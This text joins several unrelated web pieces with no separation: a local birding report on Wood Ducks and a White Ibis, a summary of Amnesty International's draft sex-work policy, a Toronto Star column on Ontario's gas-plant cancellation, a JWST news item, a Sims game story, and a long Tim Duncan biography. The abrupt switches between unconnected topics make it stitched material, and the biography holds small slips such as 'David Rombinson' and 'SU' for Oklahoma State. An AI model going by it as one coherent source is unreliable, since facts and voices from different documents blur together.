Ducks are moving in at The Pits. Up to 150 Wood Ducks is possible if one wants to count them. Green-winged and Blue-winged Teal, Northern Shovelers, Gadwall, American Wigeon and other water birds such as Pied-billed Grebe and American Coot are currently present.
This place should be preserved in a formal way. It is a proven bird haven for many decades.
White Ibis
Readers of this blog may recall the report of a White Ibis at Troy Meadows on September 7. It was seen that day only.
Early the next week, mocosocoBirds was informed that a White Ibis was photographed by Nick Russo at Speedwell Lake, Morristown on September 9 and not seen again. Is this the same Ibis? A straight line from Troy Brook to Speedwell Lake is seven miles. We will never know for certain if this is the same individual but it is an interesting addition to the White Ibis invasion of New Jersey in 2017.
Nick has lots of great bird photos at his Full Bleed Photography web site.
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Confused about the Amnesty International draft proposal? Here are some of the major points, broken down.
1. The proposal does not support forced and underage involvement in the sex trade.
Amnesty supports criminal laws against trafficking, coercing individuals into the sex trade, and soliciting sex from minors. Quoting the draft proposal, "Amnesty International considers children involved in commercial sex acts to be victims of a grave human rights abuse. Under international law states must ensure that offering, delivering or accepting a child for the purpose of sexual exploitation is covered under criminal or penal law, and must take all appropriate measures to prevent the exploitation and abuse of children."
2. The proposal does not support "wholesale decriminalization of the sex trade." And Amnesty is not inherently opposed to state regulation of adult, consensual sex work.
Quoting Amnesty's draft position: "...regulation should respect the agency of sex workers and guarantee that all individuals who undertake sex work can do so in safe conditions, free from exploitation, and are able to stop engaging in sex work when and if they choose. Additionally, such restrictions must be for a legitimate purpose, appropriate to meet that purpose, proportionate and non-discriminatory. States should also ensure the participation... in the development of any regulatory frameworks."
3. The proposal explicitly supports labor rights and fair labor relationships.
Amnesty's draft proposal explicitly supports fair labor relationships and states that countries must "respect and protect the right of sex workers to just and favorable conditions of work, including fair wages, safe and healthy conditions and limits on working hours" and "ensure that sex workers are entitled to equal protection under the law and are not excluded from the application of labour, health and safety and other laws."
4. The proposal recognizes the link between intersectional discrimination and oppression and compulsion into the sex trade.
Quoting the proposal: "The factors underlying sex workers' marginalization are manifold and intricately entwined with global economic inequalities and multiple forms of intersectional discrimination and oppression... Amnesty International recognizes that intersectional discrimination and oppression ... can play a role in an individual's decision to engage or remain in sex work and their experiences whilst in sex work. Systems of oppression such as gender discrimination, racism, socio-economic inequality and legacies of colonial occupation, deny people power and lead to poverty and deprivation of opportunity. Groups most at risk of discrimination and oppression are frequently over represented in sex work."
5. The draft proposal takes a strong position against economic compulsion into the sex trade and advocates for expanding options for marginalized groups.
Amnesty's draft proposal recognizes how economic inequality and discrimination of certain groups result in few viable economic options, and that intersectional inequalities can compel disadvantaged groups to choose sex work. The draft proposal calls for "policies which aim to support and improve the situation of marginalized people must focus on empowering individuals and groups and not devalue their decisions, compromise their safety and/or criminalize the contexts in which they live their lives."
They propose "provid[ing] appropriate support, employment and educational options that actively empower marginalised individuals and groups, respect individual agency and guarantee the realisation of human rights" and taking "necessary measures to eradicate discrimination against marginalised individuals and groups who are commonly represented in sex work, including discrimination in employment."
6. Amnesty supports voluntary, non-coercive programming for individuals who want to leave the sex trade.
The proposal asserts that "states have an obligation to ensure that no person continues to sell sex against their will and that everyone can leave freely when and if they choose."
Quoting the draft proposal: "In the same way that intersectional discrimination and oppression can limit employment options for people considering selling sex, it can also curtail individual's' ability to leave sex work when they want to."
The proposal urges "states to take appropriate measures to realize the economic, social and cultural rights of all people so that no person enters sex work against their will, and those who decide to undertake sex work should be able to leave if and when they choose."
7. The proposal calls for an end to direct criminalization of sex workers.
The draft proposal condemns laws that "seek to punish sex workers through sanctions such as criminal prosecution, detention and/or fines because of their involvement in sex work."
In the proposal, Amnesty cites research and asserts that evidence suggests that the "enforcement of criminal laws against sex work can lead to forced eviction, arbitrary arrests, investigations, surveillance, prosecutions and severe punishment of sex workers. Where sex workers face penalization when reporting crimes, their capacity to demand payment from or condom use with clients is also compromised. Notably, police routinely confiscate and/or use condoms as evidence of sex work in a number of countries around the world. The criminalization of sex work also frequently works to exclude sex workers from protections available to others under labour and health and safety laws and can impede or prohibit them from forming or joining trade unions to secure better working conditions, and health and safety standards. This, in turn, can render sex workers at greater risk of exploitation by third parties."
8. The safety and human rights of sex workers, not the interest of clients and third parties, drive the call to end indirect criminalization of sex work.
Laws against demand, and many third party laws, increase vulnerability to violence, "violate sex worker's human rights, including their rights to security of person, to just and favorable conditions of work and to health."
According to AI's research, "even when the sale of sex is not explicitly criminalised, laws that criminalise activities related to sex work, such as bans on buying sex or on solicitation, promotion, brothel keeping or other operational aspects of sex work, are frequently used to criminalise sex workers and/or work in effect to make their working environments more dangerous."
The full draft proposal can be found here.
NDP Leader Andrea Horwath has an opening, writes Martin Regg Cohn, to use the Mississauga mess as a teachable moment: to illustrate how the ideology of privatization trumps practicality. ( Matthew Sherwood / THE CANADIAN PRESS )
Angry at the Liberals for overplaying their hand at election time — and downplaying the total $275 million cost until they were caught out. Angry at the fledgling local contractor who constantly under-delivered on the stalled electricity project — yet overstated its costs when extorting more money from taxpayers. Angry at the U.S. hedge fund that overcharged with an astonishing 14 per cent interest rate — then aggressively litigated when it had taxpayers trapped.
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Angry at the Ontario Power Authority for overestimating our electricity needs all along — then overpaying to dig the government out of a hole. Angry at the opposition parties for whipping up local fears about the plant location — then pouncing over the cancellation costs. And angry at ourselves for letting it all happen — lapsing into NIMBYism and then complaining about the costs of relocation. Only the auditor general’s office has clean hands and a clear head on this muddled story. Everyone else has their fingerprints on what reads like a case study in human decision-making gone awry. The political, emotional, hysterical and financial miscalculations will provide fodder for the media and the (ever-earnest) opposition parties for months to come. The gas plant mess may yet prompt NDP Leader Andrea Horwath to reconsider her tentative support for the upcoming Liberal budget, plunging us into another election.
She has not yet pulled the plug on the minority government for pulling the plug on the gas plant. But the NDP leader stresses she will listen to the people on this. Let’s not go there. Refighting the gas plant decision would pile irony upon insanity.
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The last thing this province needs is another wrong-headed election call to revisit the last wrong-headed election decision in late 2011, when the Liberals cynically cancelled the Mississauga power plant in mid-campaign to win re-election. Horwath has an opening, however, to use the Mississauga mess as a teachable moment: to illustrate how the ideology of privatization trumps practicality. It was the Liberal embrace of privatization in 2004 that drove the government to contract out any new power generation — from gas-fired plants, solar and wind — to the private sector, explicitly sidelining government-owned Ontario Power Generation. Think about that: OPG happens to have decades of experience in siting power plants — including nuclear reactors — across Ontario while engaging with local communities (ever notice our nukes aren’t plagued by active NIMBYism?). It also has enormous fiscal capacity to borrow money for power plant construction without resorting to parasitical U.S. private equity funds charging nearly criminal rates of interest and penalties. Instead, the Liberals bought into the fantasy that privatization equals efficiency. And the shibboleth that the private sector always delivers on time and on budget. Not in Mississauga, where the private sector ran out of time — and money. Eastern Power won the contract by bidding low for the project, but turned out to be a high-cost operator: Not only did it borrow money at 14 per cent (compounded quarterly), as the auditor noted incredulously, it demanded to be compensated for supposedly paying an administrative assistant at the rate of $110,000 a year. So much for efficiency. As for timing and diplomacy, Eastern Power failed to win over the local community, ultimately turning to the Ontario Municipal Board to overrule a zoning decision by Mississauga council. We can weep all we want about wasted money, Liberal duplicity and financial skullduggery — notably the government’s fanciful claim that relocation would cost “taxpayers” only $190 million (leaving ratepayers on the hook for another $85 million). But we have only ourselves to blame for falling under the spell of the privatization mantra years ago. At some point, this so-called power plant scandal will run out of steam (“so-called” because it’s more of a boondoggle), while the bills keep piling up. Never mind the seemingly scandalous amounts of money that have gone down the drain to bury a gas plant. The real electricity scandal was our own wooly thinking — a highly charged blend of NIMBY myopia and privatization mania. Martin Regg Cohn’s provincial affairs column appears Tuesday, Thursday and Sunday. mcohn@thestar.ca , twitter.com/reggcohn.
At a town hall meeting during the 229th Meeting of the American Astronomical Society here Jan. 5, JWST officials said they were formally releasing calls for proposals for observations that would be carried out starting in April 2019, about six months after the telescope’s scheduled launch.
“This is really exciting for me,” said Eric Smith, the JWST program director at NASA, noting that, for years, the program has focused more on the development of the telescope than its science. “This year marks the return of the [science] community to the program.”
One call for proposals announced at the meeting is for what are known as “guaranteed time observations,” reserved for astronomers who participated in the development of instruments, software or other capabilities for JWST. The other is for “early release” observations that any astronomer can propose to carry out and are intended to show the telescope’s capabilities to the astronomical community to help them plan later proposals. A more general call for proposals for the telescope’s first year of observations, known as Cycle 1, will be released in late 2017.
As scientists start to plan their observing proposals, JWST engineers and managers are wrapping up an investigation into an anomaly that took place Dec. 3 when the telescope’s optics and science instruments were undergoing a vibration test at NASA’s Goddard Space Flight Center designed to simulate the conditions they will experience during launch.
NASA, in a Jan. 3 statement, said that the test shut down a fraction of a second after accelerometers measured a “higher-than-expected response” at a specific frequency. Analyses of the telescope found no evidence of any damage.
The cause of the anomaly remains under investigation, but agency officials said they believed that vibration testing of the telescope could resume later this month. “Currently, the team is continuing their analyses with the goal of having a review of their findings, conclusions and plans for resuming vibration testing in January,” Smith said in the statement.
“They’re on track to narrow it down to one thing in a relatively short time,” Paul Hertz, director of NASA’s astrophysics division, said in a Jan. 5 interview here. “They don’t anticipate that one thing being hard to fix.”
Smith, at the town hall meeting, said that the current schedule calls for shipping the telescope optics and instruments in April to the Johnson Space Center, where it will undergo tests in a thermal vacuum chamber there. It will then be shipped in October to a Northrop Grumman facility in California to be integrated with the spacecraft bus and sunshade.
The next morning after Edmund had left Samantha took a pregnancy test and found out that she was pregnant!
Samantha: Oh no! I barely even know the guy, I can’t have his baby!
Samantha: Look Edmund, we have to talk, please come over.
Samantha: Edmund, I’m pregnant, and umm, it’s yours…
Edmund: I’m going to be a dad?
Samantha: Well, uh, yeah…
Edmund: That’s, umm, great? No, really, I’m happy about this
Samantha: That’s good, but umm, I hate to ask you for things I really do, but, I kinda need some help, I don’t have much money and I can’t raise this baby on my own…
Edmund: What if I moved in?
Samantha: What? Would you really do that for me-uh, for the baby?
Edmund: Of course, I would do anything for my baby, wow, I can’t believe it’s actually in there.
So Edmund moved in and brought $5000 with him, so you know what that means! A nursery! But first a little bit about Edmund. He’s Clumsy, a Genius, Over Emotional, Good and a Schmoozer. His lifetime wish is to become a World Renowned Surgeon and he loved Crepes, Geek Rock and the colour pink.
I expanded the house a little and added two new rooms, a nursery and a little study.
Samantha thought it’d be best to learn how to cook now there was the two of them with a baby on the way.
And although Edmund just rolled the wish to marry Samantha, he has another love interest who he seems to have no intention of breaking it off with, after their ‘group outing’ this happened:
Awwwh, I really like Samantha and Edmund together, I think they’re really cute :3
So, it turns out Edmund’s other love interest is pregnant with another guy so I got him to meet up with her to break things off.
Edmund: So listen, you’re pregnant and my girlfriend is pregnant, we just can’t do this anymore, I think we should just be friends.
Edmund’s ex-romantic interest: I will strangle you!!!
When Edmund got home, he saw his gorgeous new girlfriend and just had to tell her how much she meant to him.
Edmund: Samantha, I know I’ve not been the best boyfriend up until now, but I promise that I will try to get better and I will be the best dad I could ever be to our baby.
Edmund: Yeah, I’m talking about you in there! I love you, and I can’t wait to meet you!
Edmund took Samantha on a date to the Summer festival and they got an adorable greeting card photo taken.
But when they got home, Edmund was feeling guilty.
Edmund: Umm, I know I should’ve told you this sooner, but, I didn’t and I’m really sorry…
Samantha: What are you trying to say?
Edmund: I cheated on you the night I moved in and I’m really sorry, I love you?
Samantha: You cheated on me? Why did you wait to tell me this? I can’t believe you cheated on me! Especially since I’m PREGNANT with OUR CHILD!
Edmund: HEY! I never asked for you to get pregnant! I barely even knew you when it happened!
Samantha: So you’re saying that you don’t even want this baby?
Edmund: Do you?
Samantha:… I’m going to bed.
Edmund: Great, well I’m not joing you! Not whilst you’re in this foul mood!
Samantha: Oh no… the baby’s coming!
SO, I’m gonna leave it there for today and carry on simming so I can get the next chapter up as soon as possible! See you then 😀
For all that Tim Duncan has accomplished in his amazing career, it's what he hasn't done that makes him truly remarkable. He didn't grow up with a basketball in his hands, dreaming about hoops stardom. He didn't have his choice of college powerhouses when the recruiters came calling. He didn't leave school early and chase after the big money. And since entering the NBA, he has never been anything but an exemplary teammate and perfect role model. No, Tim is nothing like your typical superstar athlete—and are sports fans everywhere lucky he's not. This is his story… G ROWING UP Timothy Theodore Duncan was born on April 25, 1976, in St. Croix, U.S. Virgin Islands. (Click here for a complete listing of today's sports birthdays.) His mother, Ione, was a professional midwife. His father, William, was a mason. On an island with a lot of babies and a lot of building, the Duncans did better than most. Tim was a precocious child who was usually miles ahead of his elementary school classmates. When he was eight, he was moved up a grade and was a year younger than his class right through college. Like his older sisters, Cheryl and Tricia, Tim had a long, supple athletic body. On St. Croix, that doesn’t make you a basketball player, it makes you a swimmer. Tricia in particular was a great one. Internationally ranked in the 100-meter and 200-meter backstroke, she competed in the 1988 Olympics in Seoul. Tricia believed her little brother would eventually surpass her. Tim had already decided he wanted to be an Olympic champion, and his parents fully supported the decision. Ione was at every meet, often driving Tim crazy as she delivered an unending stream of advice, criticism and inspiration from the stands. Her favorite mantra was: “Good, better, best. Never let it rest. Until your good is better, and your better is best.” Tim’s specialty was the 400-meter freestyle. In his early teens, he was already known in the international swimming community. He broke several records at 12 and 13, his times were on par with the top swimmers his age in the U.S., and he was only getting longer and stronger. Think Ian Thorpe with longer legs and bigger arms and feet. Tim’s physical gifts were obvious, but it was his focus and concentration that enabled him to stay at the top of his game. He had the ability to break down every stroke, analyzing what he was doing right and what he could be doing better. He was a coach’s dream. Even though the Olympics in Barcelona were three years away, Tim was a lock to make the Virgin Islands swimming squad in the 50-, 100- and 400-meters. What he really wanted was to make the U.S. team, for which Crucians are technically eligible. On September 17, 1989, Hurricane Hugo crashed into St. Croix and everything changed. Tim's father had been through his share of violent storms and had built his house to withstand a direct hit—which Hugo was. The rest of the island, however, lay in utter ruins. Among the casualties was the swim team’s pool, which had filled with debris and needed major repair. When practices were moved to the ocean, Tim had a major problem: he had a mortal fear of sharks. He started skipping practices, and eventually drifted from the team. Tim had other things on his mind. During the summer of 1989, his mother had been diagnosed with breast cancer. She fought the good fight and urged Tim to keep swimming even though she found it harder and harder to attend his meets. She died in the spring of 1990, a day before Tim’s 14th birthday. He never swam competitively again. Fortunately, something else had caught his attention. A year earlier, Cheryl—now married and living in Columbus, Ohio—had sent down a basketball goal. Tim’s father had set it up, measuring to make sure the rim was precisely ten feet from the ground. He anchored it in cement and boasted that it could withstand anything that hit the island. Well, he was right. After Ione died, Cheryl moved back home with her husband, Ricky Lowery, who had played some college ball, starting at point guard for Capital University in Columbus. Prior to Hugo, Tim had just goofed around shooting. After Ricky arrived, basketball became his new passion. Tim was tall for his age—around six feet—and Ricky figured he might top out around 6-4 or 6-5. He began teaching the youngster the finer points of the perimeter game. Tim learned how to handle the ball, penetrate, recognize passing opportunities, come off screens, use the glass on pull-up jumpers, and finish on the break. In the fall, Tim made the St. Dunstan’s Episcopal High School team as a 14-year-old freshman. He figured he’d play some hoops, have some fun, and when the pain of his mother’s loss subsided, he would go back to swimming. It never happened. Over the next three seasons, Tim grew nine inches and became the best player on the island—and maybe even in the entire Caribbean. Already tutored in the ways of a perimeter player, he began using his quick feet and long body to establish himself as a post-up force. He was raw, but because he had learned the game his own way, at his own pace, he was in many respects a unique talent. Soon crazy stories began filtering into the college scouting community about a giant in St. Croix who had quit swimming to become a basketball player. Three schools—the University of Hartford, University of Delaware and Providence University—were intrigued enough to fly south for a look-see, and all three offered Tim a scholarship on the spot. A fourth school, Wake Forest, saw fit to send its head coach, Dave Odom.
Ian Thorpe, 2001 SI for Kids
Odom was looking for a big man to compliment Randolph Childress and Rodney Rogers, but because of the school’s diminutive size, he was having a hard time luring the A-level player he wanted. He had already gone scouting in Africa and Europe on this quest. Now Odom headed to St. Croix on the advice of his former player, Chris King, who had scrimmaged against Tim when a group of NBA players stopped on the island and arranged an impromptu competition with the locals. According to King, Tim—just 16—had played Alonzo Mourning to a draw. Mourning had just been selected second in the NBA draft. How could Odom not check the prospect out? Odom was hoping to watch an organized game or scrimmage, but instead he had to settle for a five-on-five pickup game on an outdoor court. He was worried that a sudden cloudburst would scatter the players, and Tim could sense it. Before the game started, he leaned over and assured Odom that, no matter what happened, he could play ball. The weather held, and Tim put on a show. That evening, Odom did his best sell job. Tim liked what he heard and assured Odom that Wake was on the top of his list. However, he said he would not make his decision until the spring of his senior year. Odom left St. Croix knowing he would spent the next several months in agony.
Tim’s final year of high school ball saw him average 25 points, 12 rebounds and five blocks per game. When the year was over, he made Odom the happiest man in the ACC. ON THE RISE
Tim arrived on campus in August of 1993 and headed for the gym. Official practices would not start for several weeks, so he shot by himself and joined some pickup games. When Childress saw him, he bolted into Odom’s office and told him there was a tall kid in the gym wiping up the floor with the Demon Deacon starters. If he wasn’t on the team, Odom had better get out there and recruit him! Tim was an eye-opener for a program that historically played poor sister to powerhouse programs like Duke, Maryland and North Carolina. Here was a center who was putting the ball through his legs, banking balls off the glass at all angles, swishing three-pointers and going coast-to-coast in team scrimmages. Originally, Odom had considered red-shirting his 17-year-old freshman. But his breathtaking all-around game earned Tim—whom Street & Smith described as a “mystery man” in its preseason guide—a starting job when the regular season began. The Demon Deacons needed Tim. The previous year, they had reached the Sweet 16, but Rogers had bolted for the NBA and center Derrick Hicks had graduated. Left without a low-post presence, Childress was the team’s only experienced scorer.
Tim’s first game was against the University of Alaska in Anchorage. It was the first time time he had ever seen snow—and the first time he was held scoreless on a basketball court. The game was so much faster and complex than the one he had learned on St. Croix that he was afraid to attempt a shot. It took half a season for Tim to find his comfort level shooting against Division I defenders, but he did everything else right, and Wake got off to a strong start. When the ACC schedule began, Tim held his own at first, but in a meeting with Clemson he was given multiple facials by Sharone Wright. Odom called him into his office afterwards, and Tim entered fearing the worst. When he realized the coach was concerned that his confidence had been shattered, Tim started laughing. The coach had a lot to learn about his young center! The rest of the year was a blur—for Wake opponents. Tim seemed to unveil a new pivot move every game, and when teams gave him the outside shot, he drilled it. His bank shot, meanwhile, was almost unstoppable, making him a threat from any distance. Tim led the Demon Deacons to stunning wins over Duke and UNC, and the team earned an NCAA bid with a 20-11 record. They won their first game and dropped their second, to Kansas, ending a remarkable season. Because of his slow start, Tim averaged just under 10 points a game, but he was grabbing 10-15 rebounds and swatting four or five shots a night in the second half. That summer, he was invited to play for Team USA in the Goodwill Games.
Alonzo Mourning, 1994 SCD Card
Tim continued to improve in his sophomore season, becoming a lethal scorer. As the Deacons inched up the national rankings, his name was now being mentioned in the same breath as the three other ACC super sophs: Joe Smith, Jerry Stackhouse and Rasheed Wallace. In a late-season meeting with UNC, Tim held Wallace to four points while scoring 25 himself in a 79-70 win. After the game, Jerry West suggested that Tim might be the top player in the 1995 draft if he chose to leave school. Tim assured everyone he had no intention of going pro until he graduated, even though the NBA was planning to add a rookie salary cap in 1996. He was giving up countless millions, but he was determined to stay in school. In the ACC Tournament, Wake made it to the championship game against the Tar Heels. Tim took ’Sheed apart once again, pulling down 20 rebounds, and Childress hit a clutch jumper with four seconds left in overtime to seal the win. In the NCAA Tournament, the Deacons advanced to the Sweet 16 again, where they met a brutal Oklahoma State team. In a head-to-head confrontation with Bryant "Big Country" Reeves, Tim grabbed 22 rebounds, swatted eight shots, and limited the ultra-physical center to 4-for-15 shooting. But a late turnover by Childress proved to be the difference in a tight game, and SU won 71-66. Tim ended his sophomore year with excellent numbers (16.8 ppg and 12.5 rpg) and was named the nation’s top defender. Statistically, he was the third-best shot-blocker in NCAA history with 3.98 per game.
With Childress graduated, Tim led an inexperienced team into battle in 1995-96. The presence of sophomore guards Jerry Braswell and Tony Rutland meant Wake’s opponents could drop down and double-team Tim on every possession. Rather than forcing shots, he usually zipped the ball back to the perimeter—showing uncommon confidence in his teammates. The shots they missed early in the year began dropping when the Deacons hit the meaty portion of their ACC schedule. Wake became a tight-knit unit, thanks to a very special kind of leadership shown by Tim. The Deacons lost only four conference games and beat Virginia, Clemson and Georgia Tech in the ACC tourney to repeat as conference champs. Tim scored 27 points and pulled down 22 rebounds in the finale against Georgia Tech, which gave Wake all it could handle in an extremely tense game. Unfortunately, Tim came down with the flu as the NCAA Tournament started. He sucked it up and played decently in wins over Northeast Louisiana, Texas and Louisville, but just as he was feeling 100 percent, the Deacons ran into Kentucky. Rick Pitino ordered his players to triple-team Tim, and for once his teammates did not respond to the challenge. Wake’s run to the Final Four came up a game short. Tim, named Defensive Player of the Year a second time, finished the year averaging 19.1 points and 12.3 boards per game As soon as the season ended, everyone wanted to know Tim’s plans. Odom called him into his office and pushed two press release across the table. One announced that he was hanging around for his senior season, the other announced that he was entering the NBA draft. Tim couldn’t resist. He paused for what seemed like an eternity to Odom before smiling and assuring his coach the he planned to stay.
Rasheed Wallace, 2001 Heritage
The 1996-97 Demon Deacons were inserted as odds-on favorites to win it all. Everyone was a year older and wiser, and 7-1 freshman Loren Woods was on the squad, giving Tim a twin tower in the paint. The team’s mission was clear: Tim had passed up millions to win an NCAA title. Wake responded by winning its first 13 games, including victories over Utah and UNC. The squad ascended to #2 in the polls—its highest ranking in school history. Tim was showing off moves that took NBA centers years to learn, slicing through double- and triple-teams, passing out of others, and finding room for quality shots where none appeared to exist. To Tim’s frustration, the Deacons lost momentum down the stretch and failed to win a third straight conference title. There was more than one smart coach in the ACC, and they had learned how to keep the ball out of Tim’s hands. In the NCAA Tournament, Stanford, led by guard Brevin Knight, played a textbook game against Wake and shocked the Deacons, 72-66. After his final college game, Tim had an opportunity to assess what was one of the great senior seasons for a college center. His scoring rose to 20.8, though he took fewer shots, averaging 60.6% from the field. He dished out 3.2 assists per game and hauled down 14.7 rebounds to lead the nation. On defense, he shut down plays before they had a chance to develop, winning Defensive Player of the Year an unprecedented third straight season. He also earned first-team All-America honors for the second time, and was everyone’s pick for college Player of the Year. Now it was a matter of seeing who got the first pick in the NBA draft. The Boston Celtics and Vancouver Grizzlies—two rebuilding clubs—had the most balls in the hooper, followed by the Spurs, who had gone 20-62 after losing David Robinson for all but six games. When San Antonio beat the odds and got the top selection, Tim was ecstatic. Robinson was back to full strength for the 1997-98 campaign, joined by guards Avery Johnson and Vinny del Negro and forwards Sean Elliott and Chuck Person. With two big-time big men in the lineup, coach Gregg Popovich spent the summer rethinking his offense.
Tim and the Admiral had it all worked out. They shared the ball on offense and complimented one another with their post games. On defense, they were even better. In an early-season contest against the Los Angeles Lakers, Shaquille O’Neal was brutalizing Tim. At one point, hesnared an offensive rebound and went back up for a monster dunk. Robinson soared across the lane and smashed the ball back into Shaq’s face. With the middle clogged in likewise fashion most nights, San Antonio’s opponents resorted to outside shots, and unless they were on fire, the Spurs almost always won. They went 52-26 in Tim’s rookie season—their 32-win improvement is still the best in league history. Tim averaged 21.1 points and 11.9 rebounds a game, led the league with 57 double-doubles, and was voted Rookie of the Year and first-team All-NBA. The Spurs hoped to continue their run and sweep to an NBA title. But the supporting cast was banged up, forcing players to fill unfamiliar roles. Tim tried to do too much in the opener against the Phoenix Suns. He was so bad that Popovich had to bench him. At halftime, Phoenix coach Danny Ainge instructed his players not to double-team Tim anymore—he was your typical overmatched rookie. Tim finished the night with 32 points and 10 rebounds to lead the Spurs to a 102-96 victory. The Spurs won the series in four games, but they lost to the Utah Jazz in the following round.
Tim Duncan, 1997 Basketball Weekly
Although everyone had to sit through a protracted labor dispute to begin the 1998-99 season, Tim didn’t have to wait long for his first taste of the NBA Finals. The Spurs won 37 of 50 games in the truncated campaign, with Tim going for 21.7 points and 11.4 rebounds a night and winning All-NBA and All-Defensive Team honors. The team on the floor was a year older but a year better, putting less pressure on the aging Admiral. Mario Elie, a member of the former champion Rockets, became the Spurs’ most effective bench player after coming over from Houston. Tim faced down Minnesota's Kevin Garnett in a first-round victory over the T-Wolves, and then he and the Spurs ran roughshod over the Lakers in a surprising four-game sweep. San Antonio also took four straight in the West finals against the Portland Trailblazers to set up a championship meeting with the overachieving New York Knicks. Led by Tim’s dominant play, the Spurs won the first two games and then took two more in a five-game wipeout of New York. Tim was the easy pick for MVP. The Spurs continued to age in 1999-2000, and it was beginning to show. Tim stepped up his performance, pouring 23.2 points a game. But despite 53 wins, the team did not always have enough in the tank at the end of close games. This caught up to San Antonio in the first round of the playoffs againstthe Suns. Phoenix won in four games. Tim was injured and missed the entire series. Though he was once again selected All-NBA and All-Defensive team, he was saddened by what he felt might be a rebuilding period on the horizon. To Tim’s delight, the Spurs played well throughout the 2000-01 campaign and finished with a league-high 58 victories. Derek Anderson, one of Pitino’s Kentucky stars, joined the club as a free agent and averaged 15.5 ppg while running the offense along with Johnson, Antonio Daniels and Terry Porter. Tim put up his usual numbers and won his usual awards, and everything seemed right as the Spurs annihilated Minnesota in the first round of the playoffs. Tim was a rebounding machine, as San Antonio continued its run with a five-game victory over the Mavs. It all came crashing down against the Lakers, however, as Shaq and Kobe Bryant orchestrated a four-game sweep, turning the tables from a couple of years earlier. The Spurs returned essentially the same team in 2001-02, with veteran Steve Smith logging valuable minutes in place of Anderson, who was dealt to the Blazers for a draft pick. Also emerging as valuable players were Bruce Bowen, a defensive specialist inked over the summer, and rookie Tony Parker, who replaced Johnson at the point. Tim continued his rise toward Hall of Fame status, but Robinson was clearly in decline, and Popovich spelled him frequently with burly Malik Rose. This all added up to another 58-win season—and another playoff showdown with the Lakers, this time in the second round. After splitting the first two in L.A., the Spurs dropped the next two at home and the Lakers went on to win Game 5 for the series victory. Tim took little consolation in his best season to date. Despite averaging 25.5 points, leading the NBA in rebounds, field goals and free throws, and winning the MVP award, he believed the Spurs had not yet achieved what they were capable of. Robinson, meanwhile, announced that the 2002-03 campaign would be his last. He wanted one final shot at a title and believed Tim could elevate his game to get the Spurs there. Popovich restructured his rotation to make the most of the Admiral’s minutes, and gave increased playing time to Rose, Bowen, Stephen Jackson and Manu Ginobili.
David Rombinson & Tim Duncan,
1998 SI for Kids
The Spurs got a nice lift when Parker nailed down the point guard job. He proved to be good for more than 15 points a game. The Spurs went 60-22 and were in excellent shape for the playoffs. MAKING HIS MARK As for Tim, he enjoyed a second straight MVP season, averaging 23.3 points, 12.9 rebounds and 3.9 assists. Some fans felt that New Jersey's Jason Kidd deserved the award, so it was only right that the two stars should meet in the NBA Finals. After hard-fought series wins over the Suns, Lakers and Mavericks, the Spurs squared off against the Nets in a grinding defensive battle that saw the teams knotted after four games. Tim took over in the final two contests, keying a pair of wins, and the Spurs had their championship. Tim was a whirlwind in Game 6, swatting a record-tying eight shots. He finished with 32 for the series, establishing a new mark. He was named MVP of the finals for the second time. It took a year to adjust to life without the Twin Towers, but the 2003-04 season was still a good onefor the Spurs, who won their last 10 games heading into the playoffs. Tim netted 22.3 per game and finished second in the league in rebounding to Garnett, who walked away with the MVP award. Robinson’s shoes were filled by Rasho Nesterovic and Robert Horry, another player with championship experience. The Spurs swept Memphis in the first round of the playoffs, but they could not overcome the Lakers in the next round. Tim watched the Detroit Pistons pick apart L.A. in the finals and wondered how San Antonio would have done against Larry Brown’s no-stars. He only had to wait a year to find out. With Shaq gone to Miami and Kobe up to his eyeballs in legal woes, the Lakers were a non-factor in the West, enabling the Spurs to build a team for the 2004-05 playoffs. Tim got his 20 points and 10 rebounds most nights. Ginobili, meanwhile, went from a bench guy to a big-time player. Parker continued to mature at the point, Bowen made First Team All-Defense for the second straight season, and the Spurs got excellent contributions from Nazr Mohammad and Brent Barry. San Antonio won 59 games and was almost untouchable at home, losing just three games all year. The Spurs could out-score you, out-hustle you, out-rebound you and out-defend you. Entering the postseason, they were the team to beat. The playoffs opened against the Nuggets. After an early scare, the Spurs hammered Denver in five games. In the second round, San Antonio beat the Sonics twice at home and then lost two in Seattle. Tim stepped up and led his team to victory in Games 5 and Game 6 to close out a worrisome series. The Western Conference Finals brought on the Suns and MVP Steve Nash. This, the experts said, would be the best series of the spring. Could the San Antonio D clamp down on Phoenix, or would the Suns run them out of the building? Popovich had a surprise up his sleeve, as he asked his troops to beat the Suns at their own game. It was over in five. The Spurs advanced against the defending champion Pistons. The 2005 NBA Finals promised to be a bruising affair, as both teams featured grinding defenses, and only Tim stood out as superstar-level scorer. Of course, he had to contend with his old college nemesis, Rasheed Wallace. Plus, Detroit had Ben Wallace, the league’s premier help defender. In the first two games, in San Antonio, Tim had his way with the Detroit defense, and Ginobili also scored at will as the Spurs embarrassed the Pistons with two blowouts. As millions of fans tuned away, Detroit fought its way back. The Pistons ganged up on Tim and forced him to receive the ball farther from the basket, which clogged things up at mid-range, where San Antonio had done much of its damage in the opening contests. The Pistons took the next two games to even the series. They nearly stole Game 5, but the Spurs survived in overtime to take the series back to San Antonio up a game. Detroit showed its grit and edged the Spurs in Game 6 to force a seventh game. The Pistons built an early lead in the decider, but as the second half wore on, it became increasingly difficult for either team to score. Midway through the third quarter, Tim dug deep and found what he needed to end the stalemate. He seized control around the rim to give his team a lead it would never relinquish. The Spurs won their third championship, 81-74, and Tim was named the MVP. From the heights of 2004-05, Tim experienced the depths the following year. Slowed by a painful case of plantar fasciitis, he limped through 80 games and averaged under 20 points for the first time in his career. The Spurs nonetheless were able to win 63 games and capture another division title. Tim felt better by playoff time, and his defense and rebounding helped the Spurs down the Sacramento Kings in six games in the opening round.
Tony Parker, 2002 Topps Xpectation s
